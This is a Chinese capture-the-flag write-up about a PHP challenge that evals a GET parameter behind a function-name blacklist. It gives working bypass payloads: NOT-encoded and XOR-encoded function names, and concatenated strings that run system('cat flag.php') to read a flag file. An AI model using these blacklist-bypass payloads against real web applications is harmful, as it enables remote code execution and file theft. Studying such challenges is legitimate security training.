• [第二届全国中学生网络安全竞赛]bypass


    前几天拿到了线下赛的源码,做做看。这道主要是命令执行的黑名单绕过

    先看看给出的代码:

     <?php
    highlight_file(__FILE__);
    error_reporting(0);
    $blacklist = ["system", "ini_set", "exec", "scandir", "shell_exec", "proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
    $blacklist = array_merge($blacklist, get_defined_functions()['internal']);
    foreach($blacklist as $i){
        if(stristr($_GET[cmd], $i)!==false){
            die('hack');
        }
    }
    eval($_GET[cmd]);
    ?> 

    可以看到把内置定义的函数和一些敏感函数都加入了Blacklist,下面这道题的两种解法:

    1.取反或异或绕过

    已知flag在flag.php文件中,直接构造读取flag.php文件的取反Payload:

    (~%20%8D%9A%9E%9B%99%96%93%9A)((~%20%99%93%9E%98%D1%8F%97%8F));

    发送请求源代码得到Flag:

    同样的,构造一个异或Payload也可以读取到文件内容:

    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("flag.php");&%ff=readfile

    2.字符串拼接绕过

    这个是赛事主办方给出的ppt上的解法,是通过赋值变量然后拼接字符串实现的命令执行

    第一个Payload是通过拼接函数名实现的:

    $a='sys'.'tem';$a("cat flag.php");

    第二个Payload是通过拼接语句实现的:

    $a="syste";$b="m(%27cat%20flag.php%27);";$c=$a.$b;eval($c);

    原理都是一样的,就不过多赘述了,啥也不是,散会!

  • 相关阅读:
    dp思维
    快速幂+地推
    背包问题找物品
    石子合并问题
    hihocoder 1580 Matrix(北京icpc2017网络赛)
    ACM对拍造数据
    主席树学习小结(POJ 2104)
    莫队算法入门 BZOJ 2038
    hdu 2586
    Kattis
  • 原文地址:https://www.cnblogs.com/yesec/p/12450269.html
Copyright © 2020-2023  润新知